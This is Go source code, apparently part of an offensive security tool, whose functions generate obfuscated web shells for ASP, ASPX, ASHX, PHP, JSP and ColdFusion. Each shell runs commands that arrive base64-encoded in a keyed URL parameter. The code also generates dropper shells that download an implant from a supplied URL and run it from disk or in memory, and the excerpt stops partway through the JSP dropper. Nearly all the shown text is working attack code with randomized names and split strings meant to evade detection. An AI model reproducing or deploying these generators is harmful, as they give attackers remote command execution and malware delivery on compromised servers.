content += " Set " + objShell + " = CreateObject(\"WScript.Shell\")\n"
|
||||
content += "Set " + objCmdExec + " = " + objShell + ".exec(" + command + ")\n"
|
||||
content += " " + getCommandOutput + " = " + objCmdExec + ".StdOut.ReadAll\n"
|
||||
content += "End Function\n"
|
||||
content += "Function " + b64Decode + "(ByVal " + b64String + ")\n"
|
||||
content += " Const " + b64 + " = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n"
|
||||
content += " Dim " + dataLength + ", " + sOut + ", " + groupBegin + "\n\n"
|
||||
content += " " + b64String + " = Replace(" + b64String + ", vbCrLf, \"\")\n"
|
||||
content += " " + b64String + " = Replace(" + b64String + ", vbTab, \"\")\n"
|
||||
content += " " + b64String + " = Replace(" + b64String + ", \" \", \"\")\n\n"
|
||||
content += " " + dataLength + " = Len(" + b64String + ")\n"
|
||||
content += " If " + dataLength + " Mod 4 <> 0 Then\n"
|
||||
content += " Err.Raise 1, \"" + b64Decode + "\", \"Unexpected input.\"\n"
|
||||
content += " Exit Function\n"
|
||||
content += " End If\n\n\n"
|
||||
content += " For " + groupBegin + " = 1 To " + dataLength + " Step 4\n"
|
||||
content += " Dim " + numDataBytes + ", " + charCounter + ", " + thisChar + ", " + thisData + ", " + nGroup + ", " + pOut + "\n"
|
||||
content += " " + numDataBytes + " = 3\n"
|
||||
content += " " + nGroup + " = 0\n\n"
|
||||
content += " For " + charCounter + " = 0 To 3\n\n"
|
||||
content += " " + thisChar + " = Mid(" + b64String + ", " + groupBegin + " + " + charCounter + ", 1)\n\n"
|
||||
content += " If " + thisChar + " = \"=\" Then\n"
|
||||
content += " " + numDataBytes + " = " + numDataBytes + " - 1\n"
|
||||
content += " " + thisData + " = 0\n"
|
||||
content += " Else\n"
|
||||
content += " " + thisData + " = InStr(1, " + b64 + ", " + thisChar + ", vbBinaryCompare) - 1\n"
|
||||
content += " End If\n"
|
||||
content += " If " + thisData + " = -1 Then\n"
|
||||
content += " Err.Raise 2, \"" + b64Decode + "\", \"Unexpected input.\"\n"
|
||||
content += " Exit Function\n"
|
||||
content += " End If\n\n"
|
||||
content += " " + nGroup + "= 64 * " + nGroup + " + " + thisData + "\n"
|
||||
content += " Next\n\n"
|
||||
content += " " + nGroup + " = Hex(" + nGroup + ")\n\n"
|
||||
content += " " + nGroup + " = String(6 - Len(" + nGroup + "), \"0\") & " + nGroup + "\n\n"
|
||||
content += " " + pOut + " = Chr(CByte(\"&H\" & Mid(" + nGroup + ", 1, 2))) + _\n"
|
||||
content += " Chr(CByte(\"&H\" & Mid(" + nGroup + ", 3, 2))) + _\n"
|
||||
content += " Chr(CByte(\"&H\" & Mid(" + nGroup + ", 5, 2)))\n\n"
|
||||
content += " " + sOut + " = " + sOut + " & Left(" + pOut + ", " + numDataBytes + ")\n"
|
||||
content += " Next\n\n"
|
||||
content += " " + b64Decode + " = " + sOut + "\n"
|
||||
content += "End Function\n"
|
||||
content += "%>\n"
|
||||
content += "<HTML>\n"
|
||||
content += "<BODY>\n"
|
||||
content += "<PRE>\n"
|
||||
content += "<%\n"
|
||||
content += "Dim " + authKeyVar + ", " + userKey + ", " + userCommand + "," + b64Decoded + ", " + cmo + "\n\n"
|
||||
content += authKeyVar + " = \"" + key + "\"\n"
|
||||
content += userKey + " = request(\"key\")\n"
|
||||
content += "If " + userKey + " = " + authKeyVar + " Then\n"
|
||||
content += " " + userCommand + " = request(\"cmd\")\n"
|
||||
content += " " + b64Decoded + " = " + b64Decode + "(" + userCommand + ")\n"
|
||||
content += " " + cmo + " = " + getCommandOutput + "(\"cmd /c\" & " + b64Decoded + ")\n"
|
||||
content += " Response.Write(" + cmo + ")\n"
|
||||
content += "Else\n"
|
||||
content += " Response.Write(\"Not found\")\n"
|
||||
content += "End If\n"
|
||||
content += "%>\n"
|
||||
content += "</PRE>\n"
|
||||
content += "</BODY>\n"
|
||||
content += "</HTML>"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateASPX returns the content of an ASPX web shell and the authentication key (UUID).
|
||||
func GenerateASPX() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
c := GenerateRandomString()
|
||||
c1 := GenerateRandomString()
|
||||
c2 := GenerateRandomString()
|
||||
c3 := GenerateRandomString()
|
||||
cPost := GenerateRandomString()
|
||||
cPre := GenerateRandomString()
|
||||
data := GenerateRandomString()
|
||||
ds := GenerateRandomString()
|
||||
exec := GenerateRandomString()
|
||||
password := GenerateRandomString()
|
||||
userCmd := GenerateRandomString()
|
||||
|
||||
content = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\"%>\n"
|
||||
content += "<%@ Import namespace=\"System.Diagnostics\"%>\n"
|
||||
content += "<%@ Import Namespace=\"System.IO\" %>\n\n"
|
||||
content += "<!DOCTYPE html>\n\n"
|
||||
content += "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n"
|
||||
content += "<head runat=\"server\">\n"
|
||||
content += "<script runat=\"server\">\n"
|
||||
content += " protected void Page_Load(object sender, EventArgs e){\n"
|
||||
content += " string " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += " string " + password + " = Request.QueryString[\"key\"];\n"
|
||||
content += " string " + userCmd + " = this.Request.QueryString[\"cmd\"];\n"
|
||||
content += " if(" + password + " != " + authKeyVar + " || " + userCmd + ".Equals(null))\n"
|
||||
content += " {\n"
|
||||
content += " return;\n"
|
||||
content += " }\n"
|
||||
content += " byte[] " + data + " = Convert.FromBase64String(" + userCmd + ");\n"
|
||||
content += " string " + ds + " = Encoding.UTF8.GetString(" + data + ");\n"
|
||||
content += " Response.Write(\"<pre>\");\n"
|
||||
content += " Response.Write(Server.HtmlEncode(this." + exec + "(" + ds + ")));\n"
|
||||
content += " Response.Write(\"</pre>\");\n"
|
||||
content += " }\n"
|
||||
content += " string " + exec + "(string " + c3 + ")\n"
|
||||
content += " {\n"
|
||||
content += " try\n"
|
||||
content += " {\n"
|
||||
content += " const string " + cPost + " = \"xe\";\n"
|
||||
content += " const string " + cPre + " = \"cm\";\n"
|
||||
content += " const string " + c1 + " = \"/\";\n"
|
||||
content += " const string " + c + " = \"d.e\";\n"
|
||||
content += " const string " + c2 + " = \"c\";\n\n"
|
||||
content += " ProcessStartInfo processStartInfo = new ProcessStartInfo();\n"
|
||||
content += " processStartInfo.FileName = " + cPre + "+" + c + "+" + cPost + ";\n"
|
||||
content += " processStartInfo.Arguments = " + c1 + "+" + c2 + "+\" \"+" + c3 + ";\n"
|
||||
content += " processStartInfo.RedirectStandardOutput = true;\n"
|
||||
content += " processStartInfo.UseShellExecute = false;\n"
|
||||
content += " Process process = Process.Start(processStartInfo);\n"
|
||||
content += " using (StreamReader streamReader = process.StandardOutput)\n"
|
||||
content += " {\n"
|
||||
content += " string ret = streamReader.ReadToEnd();\n"
|
||||
content += " return ret;\n"
|
||||
content += " }\n"
|
||||
content += " }\n"
|
||||
content += " catch (Exception)\n"
|
||||
content += " {\n"
|
||||
content += " throw;\n"
|
||||
content += " }\n"
|
||||
content += " }\n"
|
||||
content += "</script>\n"
|
||||
content += " <title></title>\n"
|
||||
content += "</head>\n"
|
||||
content += "<body>\n"
|
||||
content += "</body>\n"
|
||||
content += "</html>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateASHX returns the content of an ASHX (ASP.NET generic HTTP handler) web shell
|
||||
// and the authentication key (UUID).
|
||||
func GenerateASHX() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
className := GenerateRandomString()
|
||||
authKeyVar := GenerateRandomString()
|
||||
c := GenerateRandomString()
|
||||
c1 := GenerateRandomString()
|
||||
c2 := GenerateRandomString()
|
||||
c3 := GenerateRandomString()
|
||||
cPost := GenerateRandomString()
|
||||
cPre := GenerateRandomString()
|
||||
data := GenerateRandomString()
|
||||
ds := GenerateRandomString()
|
||||
exec := GenerateRandomString()
|
||||
password := GenerateRandomString()
|
||||
userCmd := GenerateRandomString()
|
||||
ctx := GenerateRandomString()
|
||||
|
||||
content = "<%@ WebHandler Language=\"C#\" Class=\"" + className + "\" %>\n"
|
||||
content += "using System;\n"
|
||||
content += "using System.Diagnostics;\n"
|
||||
content += "using System.IO;\n"
|
||||
content += "using System.Text;\n"
|
||||
content += "using System.Web;\n\n"
|
||||
content += "public class " + className + " : IHttpHandler {\n"
|
||||
content += " public void ProcessRequest(HttpContext " + ctx + ") {\n"
|
||||
content += " string " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += " string " + password + " = " + ctx + ".Request.QueryString[\"key\"];\n"
|
||||
content += " string " + userCmd + " = " + ctx + ".Request.QueryString[\"cmd\"];\n"
|
||||
content += " if (" + password + " != " + authKeyVar + " || " + userCmd + " == null) {\n"
|
||||
content += " return;\n"
|
||||
content += " }\n"
|
||||
content += " byte[] " + data + " = Convert.FromBase64String(" + userCmd + ");\n"
|
||||
content += " string " + ds + " = Encoding.UTF8.GetString(" + data + ");\n"
|
||||
content += " " + ctx + ".Response.Write(\"<pre>\");\n"
|
||||
content += " " + ctx + ".Response.Write(" + ctx + ".Server.HtmlEncode(" + exec + "(" + ds + ")));\n"
|
||||
content += " " + ctx + ".Response.Write(\"</pre>\");\n"
|
||||
content += " }\n"
|
||||
content += " string " + exec + "(string " + c3 + ") {\n"
|
||||
content += " try {\n"
|
||||
content += " const string " + cPost + " = \"xe\";\n"
|
||||
content += " const string " + cPre + " = \"cm\";\n"
|
||||
content += " const string " + c1 + " = \"/\";\n"
|
||||
content += " const string " + c + " = \"d.e\";\n"
|
||||
content += " const string " + c2 + " = \"c\";\n\n"
|
||||
content += " ProcessStartInfo processStartInfo = new ProcessStartInfo();\n"
|
||||
content += " processStartInfo.FileName = " + cPre + "+" + c + "+" + cPost + ";\n"
|
||||
content += " processStartInfo.Arguments = " + c1 + "+" + c2 + "+\" \"+" + c3 + ";\n"
|
||||
content += " processStartInfo.RedirectStandardOutput = true;\n"
|
||||
content += " processStartInfo.UseShellExecute = false;\n"
|
||||
content += " Process process = Process.Start(processStartInfo);\n"
|
||||
content += " using (StreamReader streamReader = process.StandardOutput) {\n"
|
||||
content += " return streamReader.ReadToEnd();\n"
|
||||
content += " }\n"
|
||||
content += " }\n"
|
||||
content += " catch (Exception) {\n"
|
||||
content += " throw;\n"
|
||||
content += " }\n"
|
||||
content += " }\n"
|
||||
content += " public bool IsReusable { get { return false; } }\n"
|
||||
content += "}\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GeneratePHP returns the content of a PHP web shell and the authentication key (UUID).
|
||||
func GeneratePHP() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
cmd := GenerateRandomString()
|
||||
decodedCmd := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
|
||||
content = "<!DOCTYPE html>\n"
|
||||
content += "<html>\n"
|
||||
content += "<body>\n"
|
||||
content += "<?php\n\n"
|
||||
content += "error_reporting(E_ALL ^ E_WARNING);\n"
|
||||
content += "$" + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += "$" + cmd + " = $_GET['cmd'];\n"
|
||||
content += "$" + userKey + " = $_GET['key'];\n\n"
|
||||
content += "echo \"<pre>\";\n"
|
||||
content += " if(isset($" + cmd + ") && isset($" + userKey + ") && $" + userKey + " === $" + authKeyVar + ")\n"
|
||||
content += " {\n"
|
||||
content += " $" + decodedCmd + " = base64_decode($" + cmd + ");\n"
|
||||
content += " if (DIRECTORY_SEPARATOR == '/')\n"
|
||||
content += " {\n"
|
||||
content += " $p = popen('exec 2>&1; ' . $" + decodedCmd + ", 'r');\n"
|
||||
content += " }\n"
|
||||
content += " else\n"
|
||||
content += " {\n"
|
||||
content += " $p = popen('cmd /C \"' . $" + decodedCmd + " . '\" 2>&1', 'r');\n"
|
||||
content += " }\n"
|
||||
content += " while (! feof($p))\n"
|
||||
content += " {\n"
|
||||
content += " echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);\n"
|
||||
content += " @ flush();\n"
|
||||
content += " }\n"
|
||||
content += " }\n"
|
||||
content += "echo \"</pre>\";\n"
|
||||
content += "?>\n"
|
||||
content += "</body>\n"
|
||||
content += "</html>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateJSP returns the content of a JSP web shell and the authentication key (UUID).
|
||||
func GenerateJSP() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
userCmd := GenerateRandomString()
|
||||
decoded := GenerateRandomString()
|
||||
osName := GenerateRandomString()
|
||||
cmdArray := GenerateRandomString()
|
||||
proc := GenerateRandomString()
|
||||
reader := GenerateRandomString()
|
||||
line := GenerateRandomString()
|
||||
sb := GenerateRandomString()
|
||||
|
||||
content = "<%@ page import=\"java.io.*,java.util.Base64\" %>\n"
|
||||
content += "<%\n"
|
||||
content += "String " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += "String " + userKey + " = request.getParameter(\"key\");\n"
|
||||
content += "String " + userCmd + " = request.getParameter(\"cmd\");\n"
|
||||
content += "if (" + userKey + " != null && " + userKey + ".equals(" + authKeyVar + ") && " + userCmd + " != null) {\n"
|
||||
content += " String " + decoded + " = new String(Base64.getDecoder().decode(" + userCmd + "));\n"
|
||||
content += " String " + osName + " = System.getProperty(\"os.name\").toLowerCase();\n"
|
||||
content += " String[] " + cmdArray + ";\n"
|
||||
content += " if (" + osName + ".contains(\"win\")) {\n"
|
||||
content += " " + cmdArray + " = new String[]{\"cmd\", \"/c\", " + decoded + "};\n"
|
||||
content += " } else {\n"
|
||||
content += " " + cmdArray + " = new String[]{\"/bin/sh\", \"-c\", " + decoded + "};\n"
|
||||
content += " }\n"
|
||||
content += " Process " + proc + " = Runtime.getRuntime().exec(" + cmdArray + ");\n"
|
||||
content += " BufferedReader " + reader + " = new BufferedReader(new InputStreamReader(" + proc + ".getInputStream()));\n"
|
||||
content += " StringBuilder " + sb + " = new StringBuilder();\n"
|
||||
content += " String " + line + ";\n"
|
||||
content += " while ((" + line + " = " + reader + ".readLine()) != null) {\n"
|
||||
content += " " + sb + ".append(" + line + ").append(\"\\n\");\n"
|
||||
content += " }\n"
|
||||
content += " out.println(\"<pre>\" + " + sb + ".toString() + \"</pre>\");\n"
|
||||
content += "} else {\n"
|
||||
content += " out.println(\"Not found\");\n"
|
||||
content += "}\n"
|
||||
content += "%>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateCFM returns the content of a CFM (ColdFusion) web shell and the authentication key (UUID).
|
||||
func GenerateCFM() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
decodedVar := GenerateRandomString()
|
||||
cmdVar := GenerateRandomString()
|
||||
outputVar := GenerateRandomString()
|
||||
|
||||
content = "<cfparam name=\"URL.key\" default=\"\">\n"
|
||||
content += "<cfparam name=\"URL.cmd\" default=\"\">\n"
|
||||
content += "<cfset " + authKeyVar + " = \"" + key + "\">\n"
|
||||
content += "<cfif URL.key EQ " + authKeyVar + " AND URL.cmd NEQ \"\">\n"
|
||||
content += " <cfset " + decodedVar + " = ToString(BinaryDecode(URL.cmd, \"Base64\"))>\n"
|
||||
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
|
||||
content += " <cfset " + cmdVar + " = \"cmd\">\n"
|
||||
content += " <cfset " + decodedVar + " = \"/c \" & " + decodedVar + ">\n"
|
||||
content += " <cfelse>\n"
|
||||
content += " <cfset " + cmdVar + " = \"/bin/sh\">\n"
|
||||
content += " <cfset " + decodedVar + " = \"-c \" & " + decodedVar + ">\n"
|
||||
content += " </cfif>\n"
|
||||
content += " <cfexecute name=\"#" + cmdVar + "#\" arguments=\"#" + decodedVar + "#\" variable=\"" + outputVar + "\" timeout=\"30\">\n"
|
||||
content += " </cfexecute>\n"
|
||||
content += " <cfoutput><pre>#" + outputVar + "#</pre></cfoutput>\n"
|
||||
content += "<cfelse>\n"
|
||||
content += " Not found\n"
|
||||
content += "</cfif>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
@@ -0,0 +1,391 @@
|
||||
package shell
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
// GenerateDropperPHP returns a PHP dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperPHP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
dataVar := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
resultVar := GenerateRandomString()
|
||||
|
||||
content = "<!DOCTYPE html>\n<html><body>\n<?php\n"
|
||||
content += "error_reporting(E_ALL ^ E_WARNING);\n"
|
||||
content += "$" + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += "$" + userKey + " = $_GET['key'];\n"
|
||||
content += "echo \"<pre>\";\n"
|
||||
content += "if(isset($" + userKey + ") && $" + userKey + " === $" + authKeyVar + ") {\n"
|
||||
|
||||
if inMemory {
|
||||
content += " $" + dataVar + " = file_get_contents(\"" + implantURL + "\");\n"
|
||||
content += " if($" + dataVar + " === false) { echo \"Download failed\"; }\n"
|
||||
content += " else {\n"
|
||||
content += " $" + resultVar + " = proc_open(\n"
|
||||
content += " '/bin/sh -c \"cat /dev/stdin | /bin/sh &\"',\n"
|
||||
content += " array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')),\n"
|
||||
content += " $pipes\n"
|
||||
content += " );\n"
|
||||
content += " if(is_resource($" + resultVar + ")) {\n"
|
||||
content += " $proc2 = proc_open(\n"
|
||||
content += " 'exec /proc/self/fd/0',\n"
|
||||
content += " array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')),\n"
|
||||
content += " $p2\n"
|
||||
content += " );\n"
|
||||
content += " if(is_resource($proc2)) {\n"
|
||||
content += " fwrite($p2[0], $" + dataVar + ");\n"
|
||||
content += " fclose($p2[0]);\n"
|
||||
content += " echo \"Implant launched in memory\";\n"
|
||||
content += " } else { echo \"In-memory execution failed\"; }\n"
|
||||
content += " } else { echo \"proc_open failed\"; }\n"
|
||||
content += " }\n"
|
||||
} else {
|
||||
content += " $" + dataVar + " = file_get_contents(\"" + implantURL + "\");\n"
|
||||
content += " if($" + dataVar + " === false) { echo \"Download failed\"; }\n"
|
||||
content += " else {\n"
|
||||
content += " $" + pathVar + " = '/tmp/" + binaryName + "';\n"
|
||||
content += " file_put_contents($" + pathVar + ", $" + dataVar + ");\n"
|
||||
content += " chmod($" + pathVar + ", 0755);\n"
|
||||
content += " if (DIRECTORY_SEPARATOR == '/') {\n"
|
||||
content += " popen('nohup ' . $" + pathVar + " . ' > /dev/null 2>&1 &', 'r');\n"
|
||||
content += " } else {\n"
|
||||
content += " popen('start /B ' . $" + pathVar + ", 'r');\n"
|
||||
content += " }\n"
|
||||
content += " echo \"Implant deployed to \" . $" + pathVar + ";\n"
|
||||
content += " }\n"
|
||||
}
|
||||
|
||||
content += "} else { echo \"Not found\"; }\n"
|
||||
content += "echo \"</pre>\";\n"
|
||||
content += "?>\n</body></html>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateDropperASP returns an ASP dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperASP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
httpObj := GenerateRandomString()
|
||||
streamObj := GenerateRandomString()
|
||||
shellObj := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
|
||||
content = "<%\n"
|
||||
content += "Dim " + authKeyVar + ", " + userKey + "\n"
|
||||
content += authKeyVar + " = \"" + key + "\"\n"
|
||||
content += userKey + " = Request(\"key\")\n"
|
||||
content += "Response.Write(\"<pre>\")\n"
|
||||
content += "If " + userKey + " = " + authKeyVar + " Then\n"
|
||||
|
||||
content += " Dim " + httpObj + "\n"
|
||||
content += " Set " + httpObj + " = Server.CreateObject(\"MSXML2.ServerXMLHTTP\")\n"
|
||||
content += " " + httpObj + ".Open \"GET\", \"" + implantURL + "\", False\n"
|
||||
content += " " + httpObj + ".Send\n"
|
||||
content += " If " + httpObj + ".Status = 200 Then\n"
|
||||
|
||||
if inMemory {
|
||||
content += " Dim " + shellObj + "\n"
|
||||
content += " Set " + shellObj + " = Server.CreateObject(\"WScript.Shell\")\n"
|
||||
content += " Dim " + streamObj + "\n"
|
||||
content += " Set " + streamObj + " = Server.CreateObject(\"ADODB.Stream\")\n"
|
||||
content += " " + streamObj + ".Type = 1\n"
|
||||
content += " " + streamObj + ".Open\n"
|
||||
content += " " + streamObj + ".Write " + httpObj + ".ResponseBody\n"
|
||||
content += " " + streamObj + ".Position = 0\n"
|
||||
content += " Dim exec\n"
|
||||
content += " Set exec = " + shellObj + ".Exec(\"cmd /c echo.\")\n"
|
||||
content += " exec.StdIn.Write " + streamObj + ".Read\n"
|
||||
content += " exec.StdIn.Close\n"
|
||||
content += " Response.Write(\"In-memory execution attempted\")\n"
|
||||
content += " " + streamObj + ".Close\n"
|
||||
} else {
|
||||
content += " Dim " + pathVar + ", " + streamObj + ", " + shellObj + "\n"
|
||||
content += " " + pathVar + " = Server.MapPath(\".\") & \"\\\" & \"" + binaryName + "\"\n"
|
||||
content += " Set " + streamObj + " = Server.CreateObject(\"ADODB.Stream\")\n"
|
||||
content += " " + streamObj + ".Type = 1\n"
|
||||
content += " " + streamObj + ".Open\n"
|
||||
content += " " + streamObj + ".Write " + httpObj + ".ResponseBody\n"
|
||||
content += " " + streamObj + ".SaveToFile " + pathVar + ", 2\n"
|
||||
content += " " + streamObj + ".Close\n"
|
||||
content += " Set " + shellObj + " = Server.CreateObject(\"WScript.Shell\")\n"
|
||||
content += " " + shellObj + ".Run " + pathVar + ", 0, False\n"
|
||||
content += " Response.Write(\"Implant deployed to \" & " + pathVar + ")\n"
|
||||
}
|
||||
|
||||
content += " Else\n"
|
||||
content += " Response.Write(\"Download failed: \" & " + httpObj + ".Status)\n"
|
||||
content += " End If\n"
|
||||
content += "Else\n"
|
||||
content += " Response.Write(\"Not found\")\n"
|
||||
content += "End If\n"
|
||||
content += "Response.Write(\"</pre>\")\n"
|
||||
content += "%>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateDropperASPX returns an ASPX dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperASPX(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
password := GenerateRandomString()
|
||||
dataVar := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
|
||||
content = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\"%>\n"
|
||||
content += "<%@ Import namespace=\"System.Diagnostics\"%>\n"
|
||||
content += "<%@ Import Namespace=\"System.IO\" %>\n"
|
||||
content += "<%@ Import Namespace=\"System.Net\" %>\n"
|
||||
content += "<%@ Import Namespace=\"System.Reflection\" %>\n"
|
||||
content += "<%@ Import Namespace=\"System.Runtime.InteropServices\" %>\n\n"
|
||||
content += "<script runat=\"server\">\n"
|
||||
content += " protected void Page_Load(object sender, EventArgs e){\n"
|
||||
content += " string " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += " string " + password + " = Request.QueryString[\"key\"];\n"
|
||||
content += " if(" + password + " != " + authKeyVar + ") return;\n"
|
||||
content += " Response.Write(\"<pre>\");\n"
|
||||
content += " try {\n"
|
||||
content += " WebClient wc = new WebClient();\n"
|
||||
|
||||
if inMemory {
|
||||
content += " byte[] " + dataVar + " = wc.DownloadData(\"" + implantURL + "\");\n"
|
||||
content += " try {\n"
|
||||
content += " Assembly asm = Assembly.Load(" + dataVar + ");\n"
|
||||
content += " asm.EntryPoint.Invoke(null, new object[] { new string[]{} });\n"
|
||||
content += " Response.Write(\"Implant loaded via Assembly.Load\");\n"
|
||||
content += " } catch {\n"
|
||||
content += " Response.Write(\"Assembly.Load failed - implant may not be a .NET assembly\");\n"
|
||||
content += " }\n"
|
||||
} else {
|
||||
content += " string " + pathVar + " = Path.Combine(Path.GetTempPath(), \"" + binaryName + "\");\n"
|
||||
content += " wc.DownloadFile(\"" + implantURL + "\", " + pathVar + ");\n"
|
||||
content += " ProcessStartInfo psi = new ProcessStartInfo();\n"
|
||||
content += " psi.FileName = " + pathVar + ";\n"
|
||||
content += " psi.UseShellExecute = true;\n"
|
||||
content += " psi.WindowStyle = ProcessWindowStyle.Hidden;\n"
|
||||
content += " Process.Start(psi);\n"
|
||||
content += " Response.Write(\"Implant deployed to \" + " + pathVar + ");\n"
|
||||
}
|
||||
|
||||
content += " } catch(Exception ex) {\n"
|
||||
content += " Response.Write(\"Error: \" + ex.Message);\n"
|
||||
content += " }\n"
|
||||
content += " Response.Write(\"</pre>\");\n"
|
||||
content += " }\n"
|
||||
content += "</script>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateDropperASHX returns an ASHX dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperASHX(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
className := GenerateRandomString()
|
||||
authKeyVar := GenerateRandomString()
|
||||
password := GenerateRandomString()
|
||||
dataVar := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
ctx := GenerateRandomString()
|
||||
|
||||
content = "<%@ WebHandler Language=\"C#\" Class=\"" + className + "\" %>\n"
|
||||
content += "using System;\n"
|
||||
content += "using System.Diagnostics;\n"
|
||||
content += "using System.IO;\n"
|
||||
content += "using System.Net;\n"
|
||||
content += "using System.Reflection;\n"
|
||||
content += "using System.Web;\n\n"
|
||||
content += "public class " + className + " : IHttpHandler {\n"
|
||||
content += " public void ProcessRequest(HttpContext " + ctx + ") {\n"
|
||||
content += " string " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += " string " + password + " = " + ctx + ".Request.QueryString[\"key\"];\n"
|
||||
content += " if (" + password + " != " + authKeyVar + ") return;\n"
|
||||
content += " " + ctx + ".Response.Write(\"<pre>\");\n"
|
||||
content += " try {\n"
|
||||
content += " WebClient wc = new WebClient();\n"
|
||||
|
||||
if inMemory {
|
||||
content += " byte[] " + dataVar + " = wc.DownloadData(\"" + implantURL + "\");\n"
|
||||
content += " try {\n"
|
||||
content += " Assembly asm = Assembly.Load(" + dataVar + ");\n"
|
||||
content += " asm.EntryPoint.Invoke(null, new object[] { new string[]{} });\n"
|
||||
content += " " + ctx + ".Response.Write(\"Implant loaded via Assembly.Load\");\n"
|
||||
content += " } catch {\n"
|
||||
content += " " + ctx + ".Response.Write(\"Assembly.Load failed - implant may not be a .NET assembly\");\n"
|
||||
content += " }\n"
|
||||
} else {
|
||||
content += " string " + pathVar + " = Path.Combine(Path.GetTempPath(), \"" + binaryName + "\");\n"
|
||||
content += " wc.DownloadFile(\"" + implantURL + "\", " + pathVar + ");\n"
|
||||
content += " ProcessStartInfo psi = new ProcessStartInfo();\n"
|
||||
content += " psi.FileName = " + pathVar + ";\n"
|
||||
content += " psi.UseShellExecute = true;\n"
|
||||
content += " psi.WindowStyle = ProcessWindowStyle.Hidden;\n"
|
||||
content += " Process.Start(psi);\n"
|
||||
content += " " + ctx + ".Response.Write(\"Implant deployed to \" + " + pathVar + ");\n"
|
||||
}
|
||||
|
||||
content += " } catch (Exception ex) {\n"
|
||||
content += " " + ctx + ".Response.Write(\"Error: \" + ex.Message);\n"
|
||||
content += " }\n"
|
||||
content += " " + ctx + ".Response.Write(\"</pre>\");\n"
|
||||
content += " }\n"
|
||||
content += " public bool IsReusable { get { return false; } }\n"
|
||||
content += "}\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateDropperJSP returns a JSP dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperJSP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
urlVar := GenerateRandomString()
|
||||
streamVar := GenerateRandomString()
|
||||
bufVar := GenerateRandomString()
|
||||
dataVar := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
|
||||
